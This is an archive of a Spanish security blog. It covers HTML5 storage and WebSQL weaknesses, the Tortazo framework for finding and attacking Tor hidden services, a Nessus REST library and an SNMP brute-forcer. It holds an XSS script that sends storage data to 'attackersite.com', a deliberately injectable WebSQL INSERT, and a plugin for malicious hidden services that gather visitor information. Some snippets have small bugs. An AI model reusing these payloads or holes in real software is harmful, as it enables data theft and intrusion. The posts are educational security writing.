Archivo

Archive for the ‘Services – Software’ Category

Vulnerabilidades comunes en HTML5 – Localstorage y vulnerabilidades en WebSQL – Parte 2

octubre 29, 2014 Deja un comentario

Continuamos enumerando y explicando algunas vulnerabilidades comunes en la última especificación de HTML, en la que se han incluido características funcionales que permiten crear aplicaciones WEB 2.0 y RIA. Se trata de un intento por mejorar la experiencia de usuario y crear aplicaciones robustas y rápidas, sin embargo muchas de ellas pueden representar una potencial brecha de seguridad si no se toman las medidas adecuadas a la hora de utilizarlas en aplicaciones web que manejan datos sensibles. En la primera parte de estos artículos, nos centramos principalmente en CORS, que como se ha visto anteriormente, es muy peligroso si no se configura adecuadamente a la hora de compartir recursos con dominios externos. En este artículo ahora nos centraremos en los nuevos mecanismos implementados para el almacenamiento de información en el cliente, que en HTML5 se extiende mucho más allá al uso de las cookies.

Fugas de información en el almacenamiento local

Una de las características más sobresalientes en HTML5 para el desarrollo de aplicaciones RIA, es la capacidad que tienen ahora los clientes de almacenar datos que posteriormente pueden ser utilizados por las aplicaciones. El mecanismo de almacenamiento de HTML5, también conocido como “Client-Site storage” es similar a las cookies tradicionales, sin embargo es más completo y robusto ya que no solamente extiende el tamaño de los datos que se pueden guardar, que en el caso de las cookies es solamente de 4kb, mientras que en el caso del almacenamiento local en HTML5 puede llegar hasta los 10MB de información. Por otro lado, a diferencia de las cookies, los datos almacenados no caducan y además, no se envían en cada petición entre cliente y servidor como si que ocurre con las cookies. El mecanismo de almacenamiento local de HTML5, es una mejora considerable a la hora de guardar datos en el cliente sin depender de las cookies tradicionales y cuenta con una API que permite acceder y manipular sus elementos por medio de Javascript.

En la especificación de HTML5 existen tres modelos de almacenamiento en el lado del cliente que son: Local, Session y Global. En el almacenamiento local, el elemento “localStorage” permite guardar datos de forma persistente en el cliente ya que dichos datos no se eliminan automáticamente y es necesario limpiar dicho espacio de almacenamiento de forma explicita. El almacenamiento del tipo Session funciona básicamente igual que el almacenamiento del tipo Local, con la diferencia de que el objeto “sessionStorage” se limpia automáticamente cuando el usuario cierra el navegador web o la pestaña del sitio web.

El almacenamiento Global es un espacio de memoria en el navegador en el que los sitios web pueden almacenar datos persistentes que no necesitan ser enviados posteriormente al servidor y aunque en los primeros borradores de la especificación se mencionaba que los valores almacenados en dicho espacio podían ser públicos a cualquier dominio, los desarrolladores de los navegadores web más populares no adoptaron esa recomendación por cuestiones de seguridad y los datos almacenados en dicha zona, ahora se asocian automáticamente con el dominio en cuestión. En las versiones más recientes de navegadores como Chrome o Firefox, el objeto “globalStorage” deja de ser soportado y en su lugar se utiliza el objeto “localStorage”, con lo cual los tipos de almacenamiento Local y Global se fusionan en uno solo por medio del uso del objeto “localStorage”.

Ahora bien, una vez comprendido el funcionamiento del “Client-Site storage” definido en HTML5, se puede apreciar rápidamente que si existe una API para acceder a los objetos que se encuentran almacenados en dicho espacio, un atacante podría abusar de dicha API para acceder a información sensible que se encuentre almacenada allí y eso es justo lo que puede ocurrir cuando una aplicación web con HTML5 tiene vulnerabilidades que permiten la ejecución arbitraria de código, como por ejemplo, una vulnerabilidad del tipo XSS.

 

<script language= "javascript">
var sessionNames;
for(i =0; sessionStorage.length; i++){
   sessionNames += sessionStorage.key(i);
}
var localNames;
for(i =0; localStorage.length; i++){
   localNames += localStorage.key(i);
}
</script>

Los elementos que se almacenan en los objetos “localStorage” y “sessionStorage” son diccionarios compuestos por pares de clave=valor, con lo cual, un atacante podría estar interesado en extraer todos los nombres de las claves disponibles en ambos contextos para posteriormente obtener sus valores.

<script language= "javascript">
   var xmlHttp = null;
   xmlHttp = new XMLHttpRequest();
   localData ="";
   for(i in localStorage){
         localData += localStorage.getItem(i)
   }
   sessionData = "";
   for(i in sessionStorage){
         sessionData += sessionStorage.getItem(i)
   }
   xmlHttp.open( "GET", “http://www.attackersite.com?data=”+localData+sessionData+globalData, false );
   xmlHttp.send(null)
</script>

Con las instrucciones anteriores se extraen todos los elementos que se encuentran almacenados en el “localStorage” y en el “sessionStorage”, posteriormente se envía dicha información a un servidor remoto utilizando el objeto XMLHttpResponse para iniciar una petición HTTP vía ajax.

Vulnerabilidades de SQL Injection en el cliente. Implementaciones con WebSQL inseguras.

Tradicionalmente las vulnerabilidades del tipo SQL Injection se han asociado con la extracción de información y posible ejecución arbitraria de código en el lado del servidor, sin embargo, en la especificación de HTML5 también esto ha cambiado, ya que ahora en el lado del cliente también es posible almacenar datos en bases de datos relacionales. WebSQL es el mecanismo mediante el cual, es posible crear una base de datos relacional con el fin de almacenar información que posteriormente será utilizada por la aplicación web. Se trata de una idea muy interesante, ya que permite crear aplicaciones web en las que los clientes podrán seguir interactuando con la aplicación aunque la conexión con el servidor no sea constante. Por otro lado, del mismo modo que ocurre con los objetos del tipo Storage mencionados anteriormente, es posible utilizar Javascript para consultar y manipular dichas bases de datos.

Las vulnerabilidades del tipo “Client-Site SQL Injection” no son muy diferentes a cualquier vulnerabilidad SQL Injection tradicional, de hecho, lo único que cambia es el contexto de ejecución. Esto quiere decir que la principal fuente de problemas relacionados con este tipo de vulnerabilidades se encuentran en la incorrecta o insuficiente validación de los datos utilizados para conformar las consultas y del mismo modo, la mejor forma de prevenir este tipo de errores, consiste en validar los datos de entrada y utilizar estamentos preparados en lugar de concatenar los valores de entrada con la cadena de la consulta SQL.

En navegadores modernos como Chrome, existen herramientas de desarrollo que permiten visualizar las bases de datos creadas en el lado del cliente cuando se visita un sitio web con soporte a WebSQL.

Para utilizar la API de WebSQL y acceder a bases de datos “Client-Side” se debe utilizar la API disponible para ello, la cual define tres elementos principales para acceso y modificación de datos: “openDatabase”, “transaction”, “execute”. El siguiente script enseña el uso de estas funciones en una página web y como se podrá apreciar después de inspeccionar el código, hay una vulnerabilidad SQL Injection que se puede detectar fácilmente.

<script language= "javascript">
    db = openDatabase("sqli", "1.0", "Web SQL Database Client-side SQL Injection",2000);
    if(db) {
       db.transaction(function(tx){tx.executeSql("DROP TABLE IF EXISTS table_test",[]);});
       db.transaction(function(tx){tx.executeSql("CREATE TABLE IF NOT EXISTS table_test (id REAL UNIQUE, description TEXT)",[]);});
    }
    db.transaction(
        function(tx) {
            tx.executeSql('DELETE FROM table_test WHERE id=?',[id]);
        })
    
    db.transaction(
        function(tx) {
            tx.executeSql("INSERT INTO table_test (id, description) values (" + id + ",'" + description + "')", []);
        })
</script>

En el código anterior, se puede apreciar que se intenta crear una base de datos con nombre “sqli” y posteriormente se ejecutan las instrucciones SQL para borrar y crear la tabla “table_test”. Posteriormente se crean las funciones de callback para ejecutar dos transacciones, la primera para borrar un registro filtrando por identificador y la segunda para insertar un registro.

La instrucción “DELETE” no tiene ningún problema en términos de seguridad, ya que la query SQL se encuentra parametrizada, sin embargo en el caso de la instrucción “INSERT”, se construye la query concatenando los valores que se deben insertar en la tabla “table_test”, generando de esta forma un problema de SQL Injection que puede ser explotable y que puede suponer la filtración de información sensible.
En el próximo artículo, más sobre vulnerabilidades en aplicaciones con HTML5

Saludos y Happy Hack!

Intentando descubrir hidden services en TOR

octubre 22, 2014 Deja un comentario

En el articulo “ataca un servicio oculto en la red de TOR, si te atreves” he explicado el funcionamiento del protocolo rendesvouz de TOR y las dificultades existentes a la hora de descubrir cualquier tipo de servicio anónimo en TOR. Actualmente, una de las formas más eficientes de atacar la red consiste en intentar controlar la mayor cantidad de repetidores de entrada y salida para posteriormente ejecutar ataques basados en el análisis de las peticiones y los tiempos de las mismas, sin embargo para ello se requieren varios repetidores de TOR controlados y profesionales que sepan aplicar las técnicas de ataque adecuadas, cosas que no suelen estar al alcance de cualquiera. Por otro lado, una de las características intrínsecas de la deep web de TOR, es que no es fácil encontrar cualquier servicio y menos aun si no conoces su dirección onion. Muchas veces, los usuarios de estas redes se dedican a curiosear y a recopilar direcciones que van encontrando en foros, sitios en Internet o en algunos de los buscadores más populares en la web profunda, sin embargo ¿qué pasa con aquellos servicios que son realmente ocultos? Es decir, aquellos servicios cuyas direcciones onion solamente las conocen un grupo muy pequeño de personas y no se encuentran registradas en foros o buscadores. ¿Quiénes suelen crear y usar ese tipo de servicios? Si lo piensas detenidamente, encontrar dichas direcciones es prácticamente imposible, ya que como se ha explicado en el artículo anterior, no es como buscar una aguja en pajar, es más bien como buscar una aguja entre varios billones de agujas aparentemente iguales y sin ningún patrón o perfil que las distinga.

Por otro lado, cuando intentas desarrollar un Framework de auditoria en la deep web de TOR, contar con un repositorio de direcciones onion para poder ejecutar ataques automatizados contra dichos servicios es muy importante y además de contar con un listado de direcciones conocidas (recolectadas de foros, sitios en Internet y buscadores), también es útil contar con mecanismos para intentar descubrir servicios ocultos. Sin embargo aquí, volvemos a lo que ya se ha explicado anteriormente: Manejar el volumen de datos que puede producir el espacio de posibles direcciones onion es simplemente inviable con la capacidad de procesamiento que tienen los ordenadores modernos.

No obstante, a pesar de las dificultades, un atacante puede intentar generar muchas direcciones onion de forma aleatoria o incremental y determinar si en alguna de ellas hay un servicio en ejecución. En este sentido, en Tortazo he implementado algunos mecanismos para generar y procesar direcciones onion, con el fin de intentar descubrir servicios ocultos en la web profunda de TOR.

Estos mecanismos y la estructura que he montado, se explica a continuación.

Modo “Onion Repository” en Tortazo

Es posible generar direcciones Onion validas y posteriormente intentar realizar diferentes tipos de peticiones a dicha dirección, si la conexión es correcta, se asume que hemos encontrado un servicio valido. Ahora bien, pueden haber dos formas de abordar el problema considerando las limitaciones de procesamiento explicadas anteriormente, por un lado puedes intentar generar todas las permutaciones posibles partiendo de una dirección onion parcial con lo cual, entre más conocimiento se tenga sobre la dirección onion (número de caracteres conocidos), mayores serán las probabilidades de encontrar rápidamente el servicio en la web profunda de TOR. Por otro lado, si no tienes información sobre una dirección onion concreta y simplemente quieres consultar cualquier dirección onion sin ningún patrón determinado, Tortazo permitirá generar direcciones onion de forma aleatoria y realizar una conexión para ver si existe algún servicio oculto en ejecución en dicha dirección.

Se trata de dos aproximaciones completamente distintas que pueden ayudar a descubrir servicios ocultos, pero en ambos casos, lo más importante es que la generación y procesamiento de cada dirección onion se haga lo más rápidamente posible, esto con el fin de probar la mayor cantidad de direcciones onion en una franja de tiempo determinada.

En primer lugar, contar con un único proceso para la generación de direcciones y posterior procesamiento (petición contra el servicio) puede ser algo bastante lento, por este motivo, en Tortazo se cuenta con dos colas compartidas, una para las direcciones onion generadas y otra para aquellas direcciones sobre las cuales se ha detectado un servicio oculto en ejecución. Evidentemente, existen dos grupos de procesos, uno de ellos se encarga de la generación de direcciones onion que se insertarán en la cola de direcciones generadas y otro para procesar cada una de dichas direcciones onion y determinar si hay un servicio oculto en ejecución; y si ese es el caso, dicha dirección se insertará en la cola compartida de direcciones con servicios en ejecución.

Puede que suene un poco complejo, a lo mejor con la siguiente imagen queda un poco más claro.

OnionRepository

Para ejecutar Tortazo en modo “repositorio” es necesario especificar la opción “-R” y además, es posible indicar otros detalles como el número de procesos que debe crear la herramienta para el procesamiento y generación de direcciones onion (-W), una dirección onion parcial para generar las direcciones onion de forma incremental (-O <partialAddress>) o generar direcciones onion de forma aleatoria (-O RANDOM).

Algunos ejemplos se pueden ver a continuación:

Generación aleatoria de direcciones onion utilizando 5 procesos para generación y procesamiento de las direcciones creadas. Se realizarán peticiones HTTP contra cada uno de dichos servicios. El programa se ejecutará indefinidamente, hasta que el usuario manualmente decida detenerlo.


python Tortazo.py –R http –O RANDOM –W 5 –v 

 

Generación aleatoria de direcciones onion utilizando 5 procesos para generación y procesamiento de las direcciones creadas. Se realizarán peticiones FTP contra cada uno de dichos servicios. El programa se ejecutará indefinidamente, hasta que el usuario manualmente decida detenerlo.

python Tortazo.py –R ftp –O RANDOM –W 10 –v

 

Generación incremental de direcciones onion utilizando la dirección parcial “sad53kig53r2gha” y 5 procesos para generación y procesamiento de las direcciones creadas. Se realizarán peticiones FTP contra cada uno de dichos servicios. El programa se ejecutará hasta que todas las combinaciones posibles hayan sido probadas, es decir, en este caso concreto, las combinaciones de los dos últimos caracteres de la dirección.

>python Tortazo.py –R ftp –O sad53kig53r2gh –W 10 –v

Generación incremental de direcciones onion utilizando la dirección parcial “sad53kig53r2gha” y 5 procesos para generación y procesamiento de las direcciones creadas. Se realizarán peticiones SSH contra cada uno de dichos servicios. El programa se ejecutará hasta que todas las combinaciones posibles hayan sido probadas, es decir, en este caso concreto, las combinaciones de los dos últimos caracteres de la dirección.

>python Tortazo.py –R ssh –O sad53kig53r2gh –W 10 –v

 

Por otro lado, las direcciones onion sobre las que se ha detectado un servicio oculto en ejecución, se almacenan directamente en base de datos para que puedan ser usadas en alguno de los plugins disponibles en Tortazo. Además, en el proyecto también se incluye un fichero con un listado casi 400 direcciones onion que pueden cargarse (opcionalmente) en la base de datos cuando se arranca el modo “respository” de Tortazo.

Y así funciona el modo repositorio en Tortazo. Actualmente estoy desarrollando varias ideas para ampliar/mejorar el mecanismo de descubrimiento de direcciones onion, sin embargo, será algo que implementaré para la versión 1.2 y cuando sea el momento os hablaré de ello. De momento encontrarás información más detallada en la documentación oficial: http://tortazo.readthedocs.org/en/latest/
Por último, si tienes alguna idea o sugerencia para mejorar, me encantaria que te pusieras en contacto conmigo (debiadastra [at] gmail.com).
Un saludo y Happy Hack!

Servicios REST en Nessus y pynessus-rest

octubre 14, 2014 Deja un comentario

Nessus es un escáner de vulnerabilidades que ha ganado su prestigio gracias a sus capacidades a la hora de detectar y reportar fallos de todo tipo. Es una herramienta que se encuentra a la altura de otras herramientas tan potentes y utilizadas como OpenVAS, NeXpose o Metasploit Framework. Nessus permite crear y lanzar diferentes tipos de escaneos contra múltiples objetivos, crear políticas ajustadas a diferentes tipos de auditorías que pueden ser lanzadas por el pentester y generar reportes muy completos sobre las vulnerabilidades encontradas. Su uso es muy intuitivo y aunque muchos pentesters suelen utilizarlo “in-situ” por medio de la consola administrativa de Nessus, también es posible utilizarlo de forma programática por medio de la API Rest disponible para ello. No son muchos los pentesters que suelen utilizar esta potente característica de Nessus, ya que normalmente estos servicios serán consumidos por herramientas de auditoría desarrolladas por terceros que quieran aprovechar los beneficios de Nessus o automatizar sus rutinas, como es el caso del plugin de “nessus” incluido en Tortazo.
Hace varios meses, tenia la necesidad de utilizar Nessus desde mis scripts escritos en Python, pero desafortunadamente no encontré ninguna librería que utilizará la especificación de servicios REST incluida a partir de la versión 5 de Nessus, solamente encontraba librerías que utilizaban la especificación antigua, la cual se basaba en XML-RPC. Una de las primeras que me encontré fue pynessus (http://code.google.com/p/pynessus/) la cual no solamente no utiliza la última especificación, sino que además no se encuentra soportada por nadie y tiene varias funciones con errores de compilación. Cualquier desarrollador la descartaría a la primera. Otras más como nessusxmlrpc (http://code.google.com/p/nessusxmlrpc/) o python-nessus (https://github.com/greencm/python-nessus) son más de lo mismo.
Cansado de perder tiempo buscando y encontrando solamente escombros de código, decidí crear una librería en Python para consumir los servicios REST de Nessus desde cualquier herramienta escrita en Python y es así como he terminado escribiendo pynessus-rest (https://github.com/Adastra-thw/pynessus-rest).
Se trata de una librería muy simple que consume todos los servicios REST definidos en la especificación de Nessus(http://static.tenable.com/documentation/nessus_5.0_XMLRPC_protocol_guide.pdf) y permite convertir los formatos de las respuestas (típicamente JSON) en una estructura de objetos en Python para su posterior uso.
Para instalar pynessus-rest, basta con ejecutar el script “setup.py” con el argumento “install”.

	python setup.py install

Después de instalar la librería, es posible utilizarla desde cualquier script en Python simplemente importando las clases y/o funciones necesarias. En este caso, la clase más importante para interactuar con una instancia de Nessus es la clase “NessusClient”, la cual cuenta con varios métodos para gestionar usuarios, políticas, reportes, escaneos planificados, etc.

Autenticación con el servidor de Nessus.

Lo primero es autenticarse para poder interactuar con los demás servicios y para ello, se debe invocar al servicio REST “login” el cual recibe como argumentos, el nombre de usuario y contraseña. Si el proceso de autenticación es correcto, el servicio devolverá un token identificativo del usuario, el cual debe ser utilizado por el cliente para futuras invocaciones a otros servicios que requieran permisos de acceso. La clase “NessusClient” tiene la función “login”, la cual se encarga de todos estos detalles a la hora de interactuar con el servicio REST “login” de Nessus e internamente, guarda el token devuelto por el servicio en el caso de una autenticación exitosa. Esto quiere decir, que la propia instancia de “NessusClient” guarda el token de autenticación internamente para que cualquier otra petición posterior lo pueda usar. El desarrollador se despreocupa de tener que guardar él mismo dicho token entre diferentes peticiones a otros servicios REST.
Para crear una instancia de la clase “NessusClient” se deben enviar al constructor el host y el puerto donde se encuentra en ejecución el servidor de Nessus y la función “login” recibe como argumentos las credenciales de acceso para iniciar sesión y obtener un token valido.

	from pynessus.rest.client.NessusClient import NessusClient
	client = NessusClient('127.0.0.1','8834')
	client.login('adastra','adastra')

En el caso de que el proceso de login se ejecute correctamente con las credenciales ingresadas por el usuario, es posible utilizar todos los servicios expuestos en Nessus por medio de la instancia de “NessusClient” creada anteriormente.

 

Gestión de Políticas

Para iniciar un escaneo utilizando Nessus, es obligatorio crear una política que será aplicada a dicho escaneo. Las políticas definen los objetivos e indican el tipo de auditoría que se debe aplicar e internamente, define los plugins que se lanzarán contra los objetivos definidos. Hay una serie de plantillas de políticas que vienen pre-configuradas en Nessus, el usuario normalmente debe seleccionar una de dichas plantillas y rellenar los campos necesarios para configurar la política. Con Pynessus-rest, es posible utilizar todos los servicios REST definidos en la especificación de Nessus para la creación y gestión de políticas. El uso de algunas de dichas funciones se incluye a continuación:

	client.policyPreferencesList()
	client.policyList()
	client.policyCopy(1)
	client.policyDelete(1)
	client.policyFilePolicyImport("policy.nessus")

 

Gestión de Escaneos

Los escaneos son la principal característica funcional de Nessus, sin los cuales evidentemente la herramienta carecería de sentido. Los escaneos creados en Nessus pueden ser planificados y además pueden pausarse, reanudarse o detenerse manualmente. Estas características también se pueden controlar programáticamente desde pynessus-rest utilizando los servicios REST de Nessus disponibles para ello.

	client.scanNew("192.168.1.33",'1','EscaneoConPolitica1')
	client.scanStop('ec665c9e-ce24-336b-acb4-e2b199fac1800854abce5c111a8d')
	client.scanTemplateNew('1','127.0.0.1', 'Plantilla')
	client.scanTemplateLaunch('NewTemplate')

 

Gestión de Reportes

Todos los escaneos lanzados desde Nessus van generando reportes de forma periódica, dependiendo del progreso del escaneo, dichos reportes pueden ser más o menos completos.

	client.reportList()
	client.reportHosts("2e8ed9f5-79b5-4f60-d223-bc08e9688c79a606b97c670a7deb")
	client.reportTags("2e8ed9f5-79b5-4f60-d223-bc08e9688c79a606b97c670a7deb", '127.0.0.1', jsonFormat=True)

 

Convertir respuestas JSON a objetos en Python.

Todas las respuestas devueltas por los servicios REST de Nessus pueden estar en formato XML o JSON, siendo el formato JSON el valor por defecto y de uso más común cuando hablamos de servicios REST. Dado que las estructuras de datos que devuelven algunos servicios REST de Nessus son bastante complejas, la clase “NessusConverter” se encarga de convertir dichas respuestas en objetos Python que puedan ser manejados mucho más fácilmente por el desarrollador.

 nessusConverter = NessusConverter(self.nessusClient.usersList())
 nessusConverter.userToStructure()
 for nessusUser in nessusConverter.nessusStructure.nessusUsers:
     print nessusUser.name,nessusUser.admin,nessusUser.idx,nessusUser.lastLogin

 
 nessusConverter = NessusConverter(self.nessusClient.pluginsList())
 nessusConverter.pluginsListToStructure()
 for nessusPlugin in nessusConverter.nessusStructure.pluginsList:
     print nessusPlugin.familyMembers, nessusPlugin.familyName

 nessusConverter = NessusConverter(self.nessusClient.pluginsMd5())
 nessusConverter.md5StructureToStructure()
 for md5 in nessusConverter.nessusStructure.md5Structure:
     print  md5.fileName, md5.md5

En esta entrada solamente he incluido una breve descripción de la librería con algunas de sus funcionalidades, un uso mucho más exhaustivo lo podrás encontrar en el módulo “nessus” de Tortazo, el cual explota completamente todas las funciones disponibles en pynessus-rest y los servicios REST definidos en la última versión de Nessus. Además te invito a que pruebes esta librería con cualquier instancia de Nessus a la que tengas acceso.

Saludos y Happy Hack!

Hacking con Python Parte 34 – Examinando servicios SNMP con PySNMP

septiembre 30, 2014 Deja un comentario

Uso de PySNMP para controlar agentes SNMP en un segmento de red local.

simpleSNMPTest.py:    https://github.com/Adastra-thw/pyHacks/blob/master/simpleSNMPTest.py
simpleSNMPTestOIDs.py:    https://github.com/Adastra-thw/pyHacks/blob/master/simpleSNMPTestOIDs.py
snmpBruter.py:    https://github.com/Adastra-thw/pyHacks/blob/master/snmpBruter.py


Repositorio GIT de la serie:

https://github.com/Adastra-thw/pyHacks.git


Make a Donation Button

Tortazo v1.1 ya está disponible!

septiembre 19, 2014 4 comentarios

Hace un par de semanas he terminado de desarrollar la versión 1.1 de Tortazo y dado que he incluido varias cosas que me han parecido interesantes, en esta entrada hablaré un poco sobre los cambios y mejoras que se han incluido en esta primera versión estable (o eso espero) del proyecto. Para aquellos que no saben de que va todo esto, desde hace unos meses se me ocurrió desarrollar un framework de auditoría centrado exclusivamente en la web profunda de TOR (aunque tengo pensado extender sus funcionalidades a otras redes como I2P), la razón es muy simple, porque actualmente no hay, o al menos que yo conozca, herramientas que permitan ejecutar pruebas de penetración contra repetidores o servicios ocultos en TOR. Mi idea ha sido crear un framework que incluya varias funcionalidades y utilidades que puedan ser utilizadas por usuarios finales y por desarrolladores que quieran ejecutar rutinas de código contra repetidores maliciosos o servicios ocultos, algo así como Metasploit Framework, pero enfocado a la web profunda. Además de lo anterior, cuenta con una pequeña API que permite crear plugins que rápidamente se integran en Tortazo y permite reutilizar funciones para conectividad, acceso y pentesting en la web profunda. Aunque llevo algunos meses de desarrollo y estoy bastante satisfecho con los resultados, aun hay muchas cosas que me quedan por implementar, cosas que se pueden mejorar y seguramente, cosas que se deben corregir, pero tengo el animo y la motivación para hacerlas en la próxima versión.

Algunas de las cosas que he hecho en la versión 1.1 son las siguientes:

Documentación en readthedocs.

Documentación completa sobre cómo utilizar Tortazo y sus modos de operación. Todas las secciones se encuentran subidas a readthedocs.org en el siguiente enlace: http://tortazo.readthedocs.org

 

Mejoras en el código.

Se han mejorado los modos de operación y la carga de plugins en el interprete de IPython, además se han deprecado algunas opciones, especialmente las que permitían ejecutar ataques por diccionario, las cuales ahora se encuentran incluidas en el plugin “bruter” de Tortazo. También se han incluido varias funciones en la API para que cualquiera pueda aprovecharlas, como por ejemplo funciones para conectar con servicios ocultos con SSH, FTP, SMB, HTTP o iniciar un túnel con Socat. Dichas funciones se explican en la siguiente sección de la documentación: http://tortazo.readthedocs.org/en/latest/plugin_development.html

 

Ejecutables para Windows y Linux.

Utilizando PyInstaller he generado un fichero ejecutable para Windows y otro para Linux, de esta forma, si solamente quieres probar las funcionalidades básicas de Tortazo, los ficheros ejecutables incluyen todas las dependencias necesarias para usarlo sin necesidad de instalarlas una a una en tu interprete de Python. No obstante, solamente incluye los modos de operación básicos y dado que PyInstaller, ni ninguna de las otras alternativas para convertir programas en Python a ficheros ejecutables soporta la importación dinámica de módulos, el sistema de plugins no se encuentra disponible en los ejecutables generados, los cuales se encuentran ubicados en el directorio “bin” del proyecto.

Modo “repositorio” para descubrir servicios ocultos.

Tal como explicaba en algunas entradas anteriores sobre encontrar y atacar servicios ocultos en la red de TOR, descubrir servicios ocultos no es una tarea trivial, de hecho es todo un reto para cualquier pentester de seguridad que se enfoca en la web profunda de TOR. Pensando en esto, he intentado mitigar un poco el problema creando un modo de ejecución nuevo en Tortazo, el cual se encarga de generar direcciones onion validas y probar si alguno de los tipos de servicios soportados se encuentra en ejecución en dichas direcciones. Para ello existen dos formas de generación y procesamiento de las direcciones:

Incremental: Partiendo de una dirección onion parcial, intenta completar los caracteres restantes con todas las combinaciones validas y probar cada dirección onion resultante.

Aleatorio: De forma indefinida, intentará generar direcciones onion validas y aleatorias, las cuales son posteriormente probadas para determinar si hay un servicio en ejecución en dicha dirección.

Para ver más detalles sobre este modo de operación, la documentación explica detalladamente su funcionamiento interno. http://tortazo.readthedocs.org/en/latest/repo-mode.html#repository-mode-label

Para activar este modo, basta con ejecutar el script Tortazo.py con la opción “-R” especificando un tipo de servicio para ejecutar las pruebas.

	python Tortazo.py -R ftp -O ganiondf6k8ldip -v 

	python Tortazo.py -R ssh -O daditnwf7kqltus -v 

	python Tortazo.py -R http -O RANDOM -v 

En los ejemplos de ejecución anteriores, los dos primeros comandos intentarán generar todas las combinaciones posibles para los caracteres faltantes en las direcciones onion ingresadas con la opción “-O” y con cada una de ellas, se ejecutarán peticiones dependiendo del tipo de servicio indicado en la opción “-R”. Finalmente, en el último ejemplo, se ejecutarán peticiones HTTP contra todas las direcciones aleatorias generadas por Tortazo. Como se puede apreciar, para indicarle a Tortazo que genere direcciones onion aleatorias, solamente es necesario utilizar la opción “-O” con el valor “RANDOM”. Todos los resultados son almacenados en la base de datos y posteriormente pueden ser utilizados desde cualquiera de los plugins integrados en Tortazo.

Por otro lado, en el fichero ubicado en <TORTAZO_DIR>/db/knowOnionSites.txt hay más de 400 direcciones onion con servicios ocultos descubiertos. Dichas direcciones pueden ser comprobadas y automáticamente insertadas en la base de datos de Tortazo editando el valor de la propiedad “loadKnownOnionSites” ubicada en el fichero <TORTAZO_DIR>/config/config.py y cuyo valor por defecto es “False”. En el caso de activar dicha propiedad, cada vez que se ejecute Tortazo en modo “repositorio”, automáticamente se comprobará y se insertará en base de datos dichas direcciones, solamente en el caso de que emitan una respuesta valida.

Configuraciones personalizadas y arranque automático de TOR.

Para que alguien pueda realizar peticiones contra cualquier servicio oculto o simplemente para navegar anónimamente utilizando TOR, es necesario iniciar una instancia de TOR que actuará como cliente y se encargará de crear un circuito para el envío de peticiones. Esto no es nada nuevo, pero además de crear un circuito virtual, también se abren ciertos puertos que permiten interactuar con dicha instancia, como por ejemplo un puerto de control, un puerto SOCKS, un puerto OR, entre otros que dependen directamente de las opciones incluidas en el fichero de configuración “torrc” indicado para iniciar TOR. Estas propiedades y especialmente, el valor del proxy SOCKS, son muy importantes para poder utilizar TOR. Evidentemente, muchas de las funcionalidades incluidas en Tortazo también dependen de que exista un proxy SOCKS por el cual poder enviar peticiones contra la web profunda y en este caso, pueden haber dos posibles escenarios:
1. Existe una instancia de TOR ejecutándose y el puerto SOCKS es alcanzable por Tortazo

2. No existe una instancia de TOR ejecutándose o el valor del puerto SOCKS utilizado por Tortazo no es correcto.

En el primero de los escenarios no hay ningún problema, ya que Tortazo utilizará el puerto SOCKS y por medio de él ejecutará peticiones contra cualquier servicio oculto en la red de TOR, Tortazo leerá el valor de la propiedad “socksPort” localizada en el fichero de configuración <TORTAZO_DIR>/config/config.py para obtener el puerto en la máquina local donde supuestamente deberá existir una instancia de TOR en ejecución cuyo valor por defecto será “9050”. Sin embargo, en el segundo escenario hay un problema, ya que para ciertas tareas, es necesario poder conectarse con la web profunda de TOR utilizando el proxy SOCKS de una instancia en ejecución. En tal caso, es posible utilizar las opciones “-U” y “-T”, donde “-U” indica que se debe usar una instancia de TOR iniciada por Tortazo y -T para iniciar una instancia de TOR desde Tortazo utilizando los valores declarados en el fichero de configuración que se debe pasar por argumento. El fichero <TORTAZO_DIR>/config/config-example/torrc-example contiene algunas opciones de configuración de TOR y puede ser utilizado para iniciar una instancia rápidamente.

	python Tortazo.py -R ftp -O ganiondf6k8ldip -v -U -T config/config-example/torrc-example

Desarrollo de plugins en Tortazo.

En Tortazo existe un sistema de plugins que se basa en el uso de IPython para la carga dinámica de clases. Dichas clases representan los plugins que se integran en Tortazo y extienden de la clase “BasePlugin”, la cual incluye todas las funciones y elementos necesarios para conectarse con la web profunda de TOR. Aun se trata de una API pequeña, pero contará con muchísimas más funciones en futuras versiones. Para ver un ejemplo simple sobre cómo crear un plugin en Tortazo, la siguiente guía puede ser de utilidad. http://tortazo.readthedocs.org/en/latest/plugin_development.html

 

Plugins incluidos en la versión 1.1

El número de plugins que se encuentran integrados en la versión 1.1 es muy pequeño, sin embargo son completamente funcionales y permiten realizar tareas de pentesting contra repetidores o servicios ocultos. Algunos de ellos se explican a continuación.

crawler

Se trata de un plugin que utiliza la API de Scrapy para lanzar un crawler contra un servicio web oculto en la deep web de TOR. Cuenta con varias funciones que permiten especificar las reglas que debe usar el Spider a la hora de visitar enlaces y extraer contenidos. Este plugin, como muchos otros, se encarga de crear un túnel utilizando Socat para mapear un puerto local contra una dirección onion concreta. El valor de dicho puerto por defecto es el 8765, con lo cual debe encontrarse abierto en la máquina donde se ejecuta Tortazo, pero si no es el caso, es posible especificar un valor distinto cuando se invoca a la función “crawlOnionWebSite”.

	python Tortazo.py -P crawler -D -v -U -T config/config-example/torrc-example

	Tortazo Plugin<deepWebCrawlerPlugin> : self.help()

	Tortazo Plugin<deepWebCrawlerPlugin> : self.compareWebSiteWithHiddenWebSite('http://theanarchistlibrary.org/library', 'http://4zeottxi5qmnnjhd.onion/titles.html')

	Tortazo Plugin<deepWebCrawlerPlugin> :self.crawlOnionWebSite("http://4zeottxi5qmnnjhd.onion/")

En las instrucciones anteriores, se carga el plugin en el interprete y posteriormente se ejecutan algunas funciones disponibles en él. La función “help” muestra todas las funciones disponibles en el plugin, la función “compareWebSiteWithHiddenWebSite” se encarga de comparar un sitio web en Internet con el contenido de un sitio web oculto y devuelve un porcentaje que indica el nivel de similitud entre ambos sitios y finalmente, la función “crawlOnionWebSite” se encarga de ejecutar el spider contra la dirección onion indicada.

hiddenService

Este plugin permite crear un servicio web oculto en la deep web con el contenido indicado por el usuario. Con este plugin es posible crear servicios web ocultos con contenidos maliciosos que intenten obtener información sobre el usuario que consulta dicho servicio. Permite crear una dirección onion nueva o utilizar un servicio que se ha inicializado anteriormente.

	python Tortazo.py -P hiddenService -D -U -T config/config-example/torrc-example -v	

        TortazoPlugin <maliciousHiddenServicePlugin> :self.startHTTPHiddenService(serviceDir="/home/adastra/Tortazo/plugins/attack/utils/hiddenServiceTest/",hiddenserviceDir="/home/adastra/Escritorio/hidden_service_django")		

